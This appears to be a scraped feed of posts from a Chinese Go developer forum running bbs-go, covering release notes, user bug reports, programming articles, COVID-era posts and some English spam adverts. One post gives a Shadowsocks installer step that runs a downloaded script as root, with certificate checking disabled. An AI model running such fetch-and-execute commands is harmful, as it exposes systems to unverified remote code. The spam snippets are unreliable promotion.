2020-03-06T21:24:57+08:00 + tag:mlog.club,2020-03-06:/topic/822 + + + + https://file.mlog.club/images/2020/03/06/12bcd2231b0008ae3ef9bfc085c5c1ed.jpg + + + + 哇咔咔 + 2020-03-06T21:21:23+08:00 + tag:mlog.club,2020-03-06:/topic/821 + + + + https://file.mlog.club/images/2020/03/06/12bcd2231b0008ae3ef9bfc085c5c1ed.jpg + + + + 不知道怎么使用站内的搜索功能,有知道的吗 + 2020-03-06T20:30:36+08:00 + tag:mlog.club,2020-03-06:/topic/820 + + + + https://file.mlog.club/images/2020/03/06/00a8b83a7db5328567982d47789716c3.jpg + + + + 新人来报道了 + 2020-03-06T20:29:14+08:00 + tag:mlog.club,2020-03-06:/topic/819 + + + + https://file.mlog.club/images/2020/03/06/00a8b83a7db5328567982d47789716c3.jpg + + + + 测试 + 2020-03-06T00:20:45+08:00 + tag:mlog.club,2020-03-06:/topic/818 + + + + https://file.mlog.club/images/2020/03/06/276f74b81294219376283d4a4a0397a0.jpg + + + + 大家好 新人来报道 + 2020-03-04T08:46:08+08:00 + tag:mlog.club,2020-03-04:/topic/814 + + + + https://file.mlog.club/images/2020/03/04/11e7e41e192fb3bb67c8ab297bc7dc6b.jpg + + + + springdoc-openapi : Library for OpenAPI 3 with spring-boot + 2020-03-01T13:05:01+08:00 + tag:mlog.club,2020-03-01:/topic/811 + + 最近正在搭建一个基于 spring-boot 的脚手架项目,希望能够自动生成 api 接口文档,之前也自己写过一个自动生成的,但是生态不完善,所以这次考虑集成springdoc-openapi,这篇文章是从官网摘录的,为了方便大家是用后续会将这篇文章翻译成中文。 另外还以一篇比较重要的文章,该文章中收录了使用springdoc-openapi过程中的常见问题:https://springdoc.github.io/springdoc-openapi-demos/faq.html#how-can-i-def... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 天天撸代码,也没见自己变厉害^_^ + 2020-03-01T01:48:15+08:00 + tag:mlog.club,2020-03-01:/topic/810 + + + + https://file.mlog.club/images/2020/01/06/1f905b168c9d07b2cf15a1e2967eeeac.jpg + + + + 推文这里好像有点问题 + 2020-02-28T10:28:20+08:00 + tag:mlog.club,2020-02-28:/topic/804 + + + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 刚刚进来 吓我一跳 我还以为进错网站了呢 23333 + 2020-02-28T10:23:03+08:00 + tag:mlog.club,2020-02-28:/topic/803 + + + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + bbs-go刚刚上线了发表推文功能,还热乎着,第一个推文一定要由我来亲自发表,先送给大家一个美女~ 哈哈哈 + 2020-02-28T09:23:23+08:00 + tag:mlog.club,2020-02-28:/topic/802 + + + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 基于Go语言的论坛系统 BBS-GO 3.1.0 发布 + 2020-02-28T08:54:30+08:00 + tag:mlog.club,2020-02-28:/topic/801 + + 发布地址 github: https://github.com/mlogclub/bbs-go/releases/tag/v3.1.0 gitee: https://gitee.com/mlogclub/bbs-go/releases/v3.1.0 更新内容 优化帖子列表、详情在手机屏幕上的展示 去掉第三方图片的依赖 优化积分中心展示样式 修复 markdown 编辑器功能错误 优化项目体积 功能预览 相关链接 github: https://github.com/m... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 内网部署没有OSS怎么办? + 2020-02-26T21:05:57+08:00 + tag:mlog.club,2020-02-26:/topic/799 + + + + https://file.mlog.club/images/2020/02/26/22dfec6efd49cc6dbb14606768556fe8.jpg + tooby25@163.com + + + + 网站外的文件如何上传? + 2020-02-26T17:20:21+08:00 + tag:mlog.club,2020-02-26:/topic/798 + + 网站外的文件如何上传? [](https://img.hacpai.com/file/2020/02/%E6%88%AA%E5%9B%BE%E4%B8%93%E7%94%A8-ef21ef12.png?imageView2/2/interlace/1/format/jpg) + + https://file.mlog.club/images/2020/02/24/055bfcfd5b386d212b051b17a3a8b119.jpg + 846518677@qq.com + + + + Best Nursing Institute in Chandigarh - SOIS + 2020-02-26T14:04:10+08:00 + tag:mlog.club,2020-02-26:/topic/796 + + School Of International Studies is the best nursing institute in Chandigarh provide the best education and training of nursing bridging course affiliated from the top international universities. It is the only nursing institute in Chandigarh who provide a ... + + https://file.mlog.club/images/2020/02/26/de8f8b25da683bce242ea438da5c7003.jpg + stefan1789smith@gmail.com + + + + 电商女神节 又要来了 是剁手呢 还是剁手呢? + 2020-02-24T19:53:23+08:00 + tag:mlog.club,2020-02-24:/topic/795 + + 几乎过段时间就要过个网络节日 奈何钱包不允许啊!!!!!! + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 本人97,码农,在外工作 5 年,现在工作稳定,每个月除租房吃饭还能攒下 1w 多... + 2020-02-23T18:18:13+08:00 + tag:mlog.club,2020-02-23:/topic/794 + + 在外工作 5 年,现在工作稳定,每个月除租房吃饭还能攒下 1w 多,但觉得当前工作对自身没什么提升,也很不喜欢上班的感觉,准备辞职回家重新自学,暂时的想法是以后做一个自由职业者。 + + https://file.mlog.club/images/2020/02/22/32953445000f34b6e97c5dd5d2d27f13.jpg + mlog2@qq.com + + + + 希望搁浅可以组织几个人一起好好完善一下 + 2020-02-22T22:22:08+08:00 + tag:mlog.club,2020-02-22:/topic/793 + + 目前发布在 github,感觉应该同步一下到 gitee,国内有些用户还是不方便,在一个希望能以组织的方式支持开发下去,分配一下分工和资源。我表示可以参与,尽管我不怎么会编程,哈哈, + + https://file.mlog.club/images/2020/02/20/fa8b2ed4efbcc8796a4f798c396e2258.jpg + + + + 首页布局把节点导航放到左边会不会好一些 现在话题列表感觉太宽了 + 2020-02-22T09:07:31+08:00 + tag:mlog.club,2020-02-22:/topic/792 + + 还有就是现在登录不是回到首页 是跳转到个人中心里面 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + Best SEO Services company for all types of business + 2020-02-21T14:22:45+08:00 + tag:mlog.club,2020-02-21:/topic/791 + + We provide best [SEO Services in USA](https://www.firstrankseoservices.com/ at affordable price for all types of business. We provide gurantee result at very low price and our work is really great and suitable for all types of business. We can help you to ... + + https://file.mlog.club/images/2020/02/21/95dfecad8b46ebb6dc7b14be7b848dd6.jpg + lionelmessi4796@gmail.com + + + + 发表文章登录有个bug, + 2020-02-20T23:46:18+08:00 + tag:mlog.club,2020-02-20:/topic/790 + + 如题,我登录以后点击发表文章,无限跳转登录页面并提示登录成功 + + https://file.mlog.club/images/2020/02/20/fa8b2ed4efbcc8796a4f798c396e2258.jpg + + + + 最急需的微信网页登录可以实现吗? + 2020-02-20T23:44:14+08:00 + tag:mlog.club,2020-02-20:/topic/789 + + 感觉这种技术论坛,界面可以逐步实现,现在最紧缺的应该是看能不能实现以下微信的网页扫码登录,自动补全用户的用户名信息,还有基础资料,不知道 boss 有没有这个倾向 + + https://file.mlog.club/images/2020/02/17/66cbfb457ec3e5fd7f63bf0069effc84.jpg + 37155700@qq.com + + + + 购买了线上课程,有交流群吗? + 2020-02-20T16:17:46+08:00 + tag:mlog.club,2020-02-20:/topic/788 + + 购买了线上课程,有交流群吗? + + https://file.mlog.club/images/2020/02/20/5d2c4c9a13b705a772a8bf26b4b10876.jpg + 1659190447@qq.com + + + + 好像发现了一个bug + 2020-02-17T20:17:34+08:00 + tag:mlog.club,2020-02-17:/topic/785 + + 我用手机访问,好像有个问题,帖子的主题显示不全,不知道是不是这样, 主题文字显示省略号, + + https://file.mlog.club/images/2020/02/17/66cbfb457ec3e5fd7f63bf0069effc84.jpg + 37155700@qq.com + + + + 本论坛只能使用阿里云oss吗? + 2020-02-17T02:19:32+08:00 + tag:mlog.club,2020-02-17:/topic/783 + + 看了配置文件,是必须要 oss 做图床吗?存储在本地是否可以? + + https://file.mlog.club/images/2020/02/17/66cbfb457ec3e5fd7f63bf0069effc84.jpg + 37155700@qq.com + + + + 话题 和 文章 两个功能的区别 + 2020-02-16T22:24:29+08:00 + tag:mlog.club,2020-02-16:/topic/782 + + 使用感受 怎么感觉话题和文章 两者在用法上没有区别呢? + + https://file.mlog.club/images/2020/02/24/055bfcfd5b386d212b051b17a3a8b119.jpg + 846518677@qq.com + + + + 大佬 积分排行榜都换成这样吧 + 2020-02-16T09:48:07+08:00 + tag:mlog.club,2020-02-16:/topic/781 + + 把样式换成第一行这种吧,现在的样式感觉都是挤在一起的 不怎么美观 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 移动端导航栏点击登录 出现bug + 2020-02-16T09:17:21+08:00 + tag:mlog.club,2020-02-16:/topic/780 + + 点击登录后 导航栏不会自动关闭 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 不错 + 2020-02-15T17:03:57+08:00 + tag:mlog.club,2020-02-15:/topic/779 + + 1 + + https://file.mlog.club/images/2019/11/19/7380506ea3b2bc1e05af18fe9fc69203.jpg + + + + 把文章和帖子 发布页面 二合一怎么样 + 2020-02-15T08:43:30+08:00 + tag:mlog.club,2020-02-15:/topic/724 + + 比如像这样 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 远程办公工具大集合 + 2020-02-14T14:47:11+08:00 + tag:mlog.club,2020-02-14:/topic/723 + + 新冠状病毒疫情越来越严峻,各公司都开始远程版本办公了,下面推荐整理了一些远程办公的工具... 一、在线协作文档工具 石墨文档 - https://shimo.im/ 腾讯文档 -https://docs.qq.com/ 金山文档 - https://www.kdocs.cn/ Google 文档 - www.google.cn/intl/zh-cn_all/docs/ 二、在线视频会议工具 钉钉视频会议 https://dingtalk.com 腾讯会议 https://meeti... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 请问网站百度收录一直只有一条是什么原因呢? + 2020-02-12T21:21:47+08:00 + tag:mlog.club,2020-02-12:/topic/721 + + 大佬你好: 请问网站百度收录一直只有一条是什么原因呢?😰 祝好~~❤️ + + https://file.mlog.club/images/2019/12/27/60844cf57910b7dd3841beaeb5f51665.jpg + + + + go channel问题 + 2020-02-11T17:57:10+08:00 + tag:mlog.club,2020-02-11:/topic/720 + + package main import (   "fmt"   "sync"   "time" ) var wg sync.WaitGroup func main() {    baton := make(chan int)    wg.Add(1)    go Runner(baton)    baton <- 1    wg.Wait() } func Runner(baton chan int) {    var newRunner int    runner := <-baton  ... + + https://file.mlog.club/images/2020/02/09/3a44042703a78fc929e6d166091d573d.jpg + 597406711@qq.com + + + + Hire me when you need experts’ assistance for assignments + 2020-02-11T13:26:17+08:00 + tag:mlog.club,2020-02-11:/topic/719 + + Are you seeking assistance from academic writers for your assignment writing? Hire me via Assignment Help for writing your valuable and worthy assignments. I have done my post-graduation in English literature. From last many years, I have been working on s... + + https://file.mlog.club/images/2020/02/11/18f7b4a7e14d8c4d5bffaad9d27c009f.jpg + rickypaul091@gmail.com + + + + 在家办公第一天,有没有好的在家办公工具推荐的? + 2020-02-10T10:26:59+08:00 + tag:mlog.club,2020-02-10:/topic/718 + + + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + go爬虫问题 + 2020-02-09T16:20:16+08:00 + tag:mlog.club,2020-02-09:/topic/717 + + createWorker中的in管道 没传值request能取到值 源码地址:https://gitee.com/awsomehh/go_crawler + + https://file.mlog.club/images/2020/02/09/3a44042703a78fc929e6d166091d573d.jpg + 597406711@qq.com + + + + Shadowsocks 一键安装脚本(四合一) + 2020-02-09T13:50:08+08:00 + tag:mlog.club,2020-02-09:/topic/716 + + 安装方法 使用 root 用户登录,运行以下命令: wget --no-check-certificate -O shadowsocks-all.sh https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.sh chmod +x shadowsocks-all.sh ./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.log 安装完成后,脚... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 建议把发布话题和发布文章集成到导航栏上 + 2020-02-07T17:49:09+08:00 + tag:mlog.club,2020-02-07:/topic/715 + + 放到导航栏上 然后默认点击发布就是默认发布话题 鼠标移动上去就下拉出现发布 话题 和有 文章菜单 PS:话说如果节点很多的话,按照当前的显示方式感觉节点导航栏会不够用啊 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 向李文亮医生致以敬意 + 2020-02-07T17:08:25+08:00 + tag:mlog.club,2020-02-07:/topic/714 + + 李文亮医生 7 日凌晨不幸被新冠肺炎夺去了生命。他的英年早逝令我们非常难过。新冠肺炎迄今的死亡病例大多发生在中老年身上,年仅 34 岁的李文亮医生是逝者当中非常年轻的之一,这尤其令人唏嘘,令人悲恸。 李文亮医生是武汉中心医院的一名医师,他是去年 12 月最早预警这场危险病魔的 8 名医生之一。 回过头看,他的专业性警觉尤其令我们对他产生了敬意,他当时发出的警报没有立即受到重视,反而被训诫,这件事为社会开展反思提供了一个有触动的样本。 去年 12 月,人们对新冠肺炎的认识还很有限,李文亮能够把这个消息传... + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + 码农俱乐部友情链接征集~ + 2020-02-07T16:14:06+08:00 + tag:mlog.club,2020-02-07:/topic/713 + + 各位小伙伴儿们好: 码农俱乐部 开始征集友情链接啦,链接要求如下: 请先将 码农俱乐部 链接添加到贵站 百度收录要求 >=300 技术类型站点优先 不要 SEO 类型站点 不要推广类型站点 链接成功交换后你的链接将展示在码农俱乐部首页和友情链接列表页。 欢迎小伙伴儿们在评论区提交你的链接~ 素材: 网站名称:码农俱乐部 网站描述:程序员编程资料和编程经验分享平台 网站 LOGO: + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 英雄李文亮走了,今天看到武汉市公安局给他的训诫书,真他妈讽刺 + 2020-02-07T13:31:11+08:00 + tag:mlog.club,2020-02-07:/topic/712 + + 如果武汉政府从一开始就重视这个事情,也许现在情况会好很多。 + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + 推荐一个 富文本编辑器 Vue-Quill-Editor + 2020-02-07T11:49:54+08:00 + tag:mlog.club,2020-02-07:/topic/711 + + Vue-Quill-Editor Quill editor component for Vue Vue-Quill-Editor 是一个封装 Quill-Editor 的 Vue 富文本编辑器 PS:今天在 B 站手游社区发现 他们好像也是使用的这个编辑器就了解了下 推荐给大家 Vue-Quill-Editor 开源地址 Vue-Quill-Editor 官网地址 Quill-Editor 开源地址 Quill-Editor 官网 + + https://file.mlog.club/images/2020/01/20/3b1509f3f26bc8a64baf7f54caf87513.jpg + + + + 对象存储是阿里云的,我自己支持了minio,是否可以纳入这个功能 + 2020-02-07T11:23:13+08:00 + tag:mlog.club,2020-02-07:/topic/710 + + + + https://file.mlog.club/images/2020/02/07/5c0b3823a23f6ee0e555d4dfbfc8da48.jpg + hpuzhangwei@163.com + + + + 邮箱设置被占用问题 + 2020-02-06T13:06:23+08:00 + tag:mlog.club,2020-02-06:/topic/708 + + 您好!我的邮箱被占用无法设置,是否被人抢占,建议加邮件验证功能。 + + https://file.mlog.club/images/2020/03/12/85d19ce50e2326294da8ef3abf728a90.jpg + 624308865@qq.com + + + + Markdown编辑器提交数据后缓存问题 + 2020-02-06T10:55:55+08:00 + tag:mlog.club,2020-02-06:/topic/707 + + 您好!我发现在 Markdown 提交完数据后,再次打开编辑器,之前编辑的数据还存在,是否应该在提交完数据后自动清除(vditorcreateEditor)。 + + https://file.mlog.club/images/2020/03/12/85d19ce50e2326294da8ef3abf728a90.jpg + 624308865@qq.com + + + + 史上最全的免费 JavaScript 库 CDN 加速服务汇总 + 2020-02-05T20:39:28+08:00 + tag:mlog.club,2020-02-05:/topic/706 + + 这个是我在网上找到的一份最全的,如果有遗漏的欢迎在跟帖中提交!!! 作为开发者,你一定对 Google CDN 不陌生,微软也有 Microsoft Ajax CDN,他们都提供了常用 JavaScript 库的 CDN 加速服务。国内的七牛、又拍云、百度、360 等也纷纷上线了各自的 CDN 公共库服务。 此外,还有 jsDelivr 和 cdnjs 这 2 家国外的服务商,托管 JavaScript、CSS、images、fonts 等所有类型文件的 CDN 加速服务。 下面就列举目前国内外常见... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 好奇此论坛有对少用户٩(๑^o^๑)۶ + 2020-02-05T18:38:35+08:00 + tag:mlog.club,2020-02-05:/topic/705 + + 如题 + + https://file.mlog.club/images/2020/02/05/e13a814f9c3fba9ee7a0669abacebe93.jpg + knmfkpo@outlook.com + + + + bbs-go里程碑版本 3.0.9 发布 + 2020-02-04T20:01:26+08:00 + tag:mlog.club,2020-02-04:/topic/704 + + 更新内容 新增用户积分功能 完善社区公告功能 完善帖子详情页用户点赞功能 升级后台管理,简化后台部署,不需要在单独部署 修复帖子被回复相关系统消息发送逻辑错误的问题 修复其他若干 bug 新增功能展示 全新的 bbs-go 管理后台 管理后台入口(当用户角色为管理员时展示) 用户积分功能 发布地址 github: https://github.com/mlogclub/bbs-go/releases/tag/v3.0.9 gitee: https://gitee.com/... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + bbs-go积分功能上线测试~ + 2020-02-04T14:20:43+08:00 + tag:mlog.club,2020-02-04:/topic/703 + + 经过两天的奋战,积分功能的初步版本已经完成了,感谢论坛小伙伴儿的建议... 积分功能目前只是一个初步版本,目前功能如下: 发帖获得积分 跟帖获得积分 查看积分记录 后台积分设置 功能入口: 接下来的版本会围绕着积分功能慢慢完善周边功能,例如: 积分排行榜(总榜、月榜、周榜、日榜) 等级功能 勋章功能 积分惩罚 ... 现在将积分功能发到线上测试下,欢迎小伙伴儿们继续畅所欲言,发表建议。 + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 点赞样式问题 + 2020-02-02T22:03:07+08:00 + tag:mlog.club,2020-02-02:/topic/702 + + 这个赞是不是应该横着展示😰 + + https://file.mlog.club/images/2019/12/27/60844cf57910b7dd3841beaeb5f51665.jpg + + + + 小伙伴儿们,新年快乐~ 今年过年还敢走亲戚吗? + 2020-01-27T13:58:32+08:00 + tag:mlog.club,2020-01-27:/topic/700 + + 反正我是没敢走亲戚~ 今年过年把瞌睡睡好了~ 😂 + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 自动迁移相关问题 + 2020-01-21T17:43:04+08:00 + tag:mlog.club,2020-01-21:/topic/698 + + 自动迁移现在默认使用了数据库默认字符集,这个能否指定一下 自动迁移在每次连接数据库的时候执行,是否会影响一部分性能呢 + + https://file.mlog.club/images/2020/01/21/8461c510d8c2621ad7b5f88b2340f33a.jpg + + + + 今天是年前的最后一天班了,加班到十一点多... + 2020-01-20T23:13:29+08:00 + tag:mlog.club,2020-01-20:/topic/697 + + 忙碌的一年即将过去了,提前祝大家新年快乐! + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 需求用java开发一个pdf表单,有偿,求大神指教 + 2020-01-17T09:02:59+08:00 + tag:mlog.club,2020-01-17:/topic/696 + + 大概是需要在 pdf 里实现多级子菜单等功能, 比如选择了 A 菜单之后,下一个选择框的下拉菜单自动变为 A 下级的子菜单。 求大神帮忙,谢谢 联系 50088478 我目前有 acrobat pro 和一些其他编辑器,但是不懂 JAVA + + https://file.mlog.club/images/2020/01/17/f545c6fecaea116b98a3ac257b436ebd.jpg + + + + 对服务器的要求最低是多少呢? + 2020-01-16T11:54:37+08:00 + tag:mlog.club,2020-01-16:/topic/695 + + 请问对服务器最低要求是怎样的,搭一个玩玩 + + https://file.mlog.club/images/2020/01/16/169a67c663bf2520dc822ca960ccc854.jpg + + + + Boost Note的全新版本开放了! + 2020-01-09T15:53:21+08:00 + tag:mlog.club,2020-01-09:/topic/694 + + 功能如下。 ・浏览器插件 ・新版桌面软件(macOS, Windows, Linux) ・不同设备间的云端同步 ・使用了 CouchDB ・ PouchDB,类似 Git 的文件夹系统 并且,一月份手机版的发布以及预计今年春季团队版的发布。 https://boostnote.io/ + + https://file.mlog.club/images/2019/12/26/dd9b56a1c0014083aebcb74a5b53fe3b.jpg + + + + 【水个贴】我彭大师大驾光临bbs-go + 2020-01-08T10:32:29+08:00 + tag:mlog.club,2020-01-08:/topic/693 + + 彭大师 天不生我彭小呆,万古长青一生狂! 个人语录:我彭大师岂是浪的虚名,不!我是浪的飞起。 职业技能:在线解梦、看手相。 解梦 梦是愿望的满足,是不再压抑的欲望表现! 手相 命由心生,相由己出! 螺纹: 可以看见你的纹路是圈圈——数字 0 斗纹:像山峰一样——数字 1 规则:从大拇指到小拇指,发五个数字留言,例如:01001 解答:不久后,彭大师将亲自解答(留言回复) + + https://file.mlog.club/images/2020/01/08/2eae1974ff7fbabb8d56f492f68bce09.jpg!avatar + + + + 基于Go语言的社区系统 bbs-go 3.0.8 版本发布 + 2020-01-07T17:38:52+08:00 + tag:mlog.club,2020-01-07:/topic/692 + + 更新内容 新增论坛公告功能 用户注册时支持图片验证码 用户登录时支持图片验证码 后台登录支持图片验证码 新增后台手动退出功能 文档地址 官方交流演示站:https://mlog.club 帮助文档:http://docs.bbs-go.com/ 问题反馈:https://mlog.club/topic/create 功能建议收集:https://mlog.club/topic/609 github 地址:https://github.com/mlogclub/bbs-go 公众号 欢迎关... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 使用Go语言进行人脸识别,无第三方依赖 + 2020-01-07T13:47:47+08:00 + tag:mlog.club,2020-01-07:/topic/691 + + Pigo是用纯Go编写的基于像素强度比较算法的人脸检测库。 亮点: 不需要安装 OpenCV 或任何第三方模块 处理速度快 无需图像预处理就可以检测 无需计算积分图像,图像金字塔,HOG 金字塔或任何其他类似的数据结构 人脸检测基于二进制文件树结构中编码的像素强度比较 快速检测平面内旋转面 甚至可以通过眼镜检测到人脸 瞳孔 / 眼睛定位 面部标志点检测 官方列举的例子图片 高清的图片识别的效果很好。 也能识别中国人 识别漫画人脸 识别正脸,斜脸还识别不出来 使用很简单: ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 本论坛支持mkdown不 + 2020-01-06T23:30:34+08:00 + tag:mlog.club,2020-01-06:/topic/690 + + 支持 mkdown 不 支持 mkdown 不 col1 col2 col3 + + https://file.mlog.club/images/2020/01/06/48fc51da26ef8b3fba84b17989230277.jpg!avatar + + + + Kindle unlimited 會員贈送,限量999份! + 2020-01-06T15:22:15+08:00 + tag:mlog.club,2020-01-06:/topic/689 + + Kindle unlimited 會員贈送,限量 999 份! http://www.yunjialeguanwang.com/archives/5787.html + + https://file.mlog.club/images/2020/01/06/1787f5fccaf2a8e691cca5b4bb49feb3.jpg + + + + 布隆过滤器(BloomFilter)简介和使用 + 2020-01-06T13:39:47+08:00 + tag:mlog.club,2020-01-06:/topic/688 + + 布隆过滤器介绍 Bloom filter 是由 Howard Bloom 在 1970 年提出的二进制向量数据结构,它具有很好的空间和时间效率,被用来检测一个元素是不是集合中的一个成员。如果检测结果为true,该元素不一定在集合中;但如果检测结果为false,该元素一定不在集合中。因此 Bloom filter 具有 100% 的召回率。这样每个检测请求返回有 “在集合内(可能错误)” 和“不在集合内(绝对不在集合内)”两种情况,可见 Bloom filter 是牺牲了正确率和时间以节省空间。 优缺点 ... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 扎心了, 2020 = 1024 + 996 + 2020-01-03T18:31:19+08:00 + tag:mlog.club,2020-01-03:/topic/687 + + 掐指一算程序员今年有一劫啊,瞬间感觉就不好了。 ? + + https://file.mlog.club/images/2019/07/09/8c1cd61ac3bb077a7c2420a80e40e549.jpg + + + + Java程序员的Go语言快速入门指南 + 2020-01-03T15:47:59+08:00 + tag:mlog.club,2020-01-03:/topic/686 + + 本文介绍 Go 语言已成为一种流行的非常流行编程语言,它是 Docker、Kubernetes、OpenShift 等一些炫酷新开源项目的首选编程语言,掌握Go语言意味着我们都可以为这些开源项目做贡献。 我在日常学习中学习过很多编程语言,例如 C,C ++,C#,Java,Python,Scala,Groovy,Assembly,JavaScript 等。我花了几周的时间学习Go语言和阅读Docker、Kubernetes、OpenShift的源代码。我认为对于一个程序员来说,学习另外一种新的编程语言,... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 使用nuxt.js开发如何调试的问题? + 2020-01-02T18:15:54+08:00 + tag:mlog.club,2020-01-02:/topic/685 + + 由于 nuxt 的渲染都是在服务端完成的,调试现在很不方便,经过百度发现,目前只能通过 debugger 进行断点调试,发起的 http 接口请求,浏览器 network 也看不到返回数据! 请问有更好的调试方法吗? + + https://file.mlog.club/images/2020/02/24/055bfcfd5b386d212b051b17a3a8b119.jpg + 846518677@qq.com + + + + 抖音无水印视频抓取方法 + 2020-01-02T13:40:34+08:00 + tag:mlog.club,2020-01-02:/topic/684 + + 今天推荐一个开源项目,该项目能够抓取抖音推荐列表中无水印视频原文件。项目主页:https://github.com/cnbattle/douyin 技术栈 golang adb nodejs anyproxy 效果展示 特点 可设置仅抓取大于 xx 赞的视频 可自定义设置是否下载远程文件到本地 使用 1 安装 anyproxy, 详细请自己 google 2 使用 android 虚拟机或真机, 安装抖音, 配置 anyproxy https 代理 3 修改 anyproxy... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 开发Web应用,Go语言比Python更有优势!!? + 2019-12-31T16:46:18+08:00 + tag:mlog.club,2019-12-31:/topic/682 + + 随着 Golang 的日益普及,它是否取代 Python?继续阅读,看看 Go 的优点以及它与 Python 的区别。 在 Web 开发的世界里,敏捷才是王道。使用更少的费用和资源来更快地完成网站和网络应用,从而获得更多的竞争优势。此外,他们不仅希望快速完成 Web 开发,对可用性和用户体验的要求也很高。 这需要开发更多的功能和高级编程语言来开发网站功能,例如 Golang。本文着重介绍了 Golang Web 开发的好处,并将 Golang Web 编程与其他高度流行的语言进行了比较,例如 Pyth... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 2019年最后一天了,感觉需要写点啥留念下。 + 2019-12-31T16:30:08+08:00 + tag:mlog.club,2019-12-31:/topic/681 + + 2019 年,我整好 30 岁,当被被人问起年龄的时候我总是笑称 18 岁,不是怕暴露年龄,而是我有一颗年轻的新,所以我永远在折腾的路上。今年开始学习Go语言,并边学边开发了 码农俱乐部 。 TODO 回头再补充。 + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 站在Java程序员的角度对比下 Go语言 和 Java + 2019-12-31T15:42:21+08:00 + tag:mlog.club,2019-12-31:/topic/680 + + 先声明一下,我不是 Go 语言的专家。几周前我开始研究它,因此这里的陈述是第一印象。在本文的某些主观方面,我可能是错的。也许我稍后会写一篇对此的评论。如果你也是 Java 程序员,欢迎一起来交流,如果我在某些陈述中有误,也欢迎评论和纠正我。 Go 语言令人印象深刻 与 Java 相反,Go 语言被编译为机器代码并直接执行,这点与 C 语言非常相似,而 Java 是被编译为 JVM 可执行的二进制文件。Go 语言是一个面向对象的的计算机语言,但是在某种程度上他又非常像一个函数式编程语言,他更像是一个带了自... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 最近Go语言为什么这么受欢迎 + 2019-12-31T11:51:36+08:00 + tag:mlog.club,2019-12-31:/topic/679 + + Go 语言简史 Golang 也称为 “Go”,是一种快速,高性能,开放源代码的编译型计算机语言。它是由 Rob Pike,Robert Griesemer 和 Ken Thompson 在 Google 设计的,于 2009 年 11 月首次发布。Go 在语法上与 C 相似,并于 2019 年 9 月 3 日发布了最新的稳定版本 1.13。作为 C 的补充,Go 提供了内存安全性,垃圾回收,结构化类型和CSP-Style并发模型。 使用 Golang 构建下一个大型应用程序的主要理由 开源 如上所... + + https://file.mlog.club/images/2020/01/20/45e4a89c6179c0dfe8d1179f4cb806ff.jpg + gaoyoubo@foxmail.com + + + + 站长以后有空了可以整理发布下项目和数据库表结构的说明吗 + 2019-12-30T17:42:38+08:00 + tag:mlog.club,2019-12-30:/topic/678 + + 想学习下 希望能有项目目录和数据库表结构的说明文档 + + https://file.mlog.club/images/2019/12/16/00bc6c0d51114fb957aa15af85ea8aeb.jpg + + + + 开源项目推荐:caddy - Go语言实现的Http服务器 + 2019-12-30T13:52:05+08:00 + tag:mlog.club,2019-12-30:/topic/677 + + 特征 配置简单 自动支持Https(via Let's Encrypt) 默认使用HTTP/2 支持虚拟主机,可配置多个站点 QUIC 的实验性支持,可用于最先进的变速箱 TLS 会话票证密钥旋转可实现更安全的连接 可扩展插件,因为方便的 Web 服务器是有用的 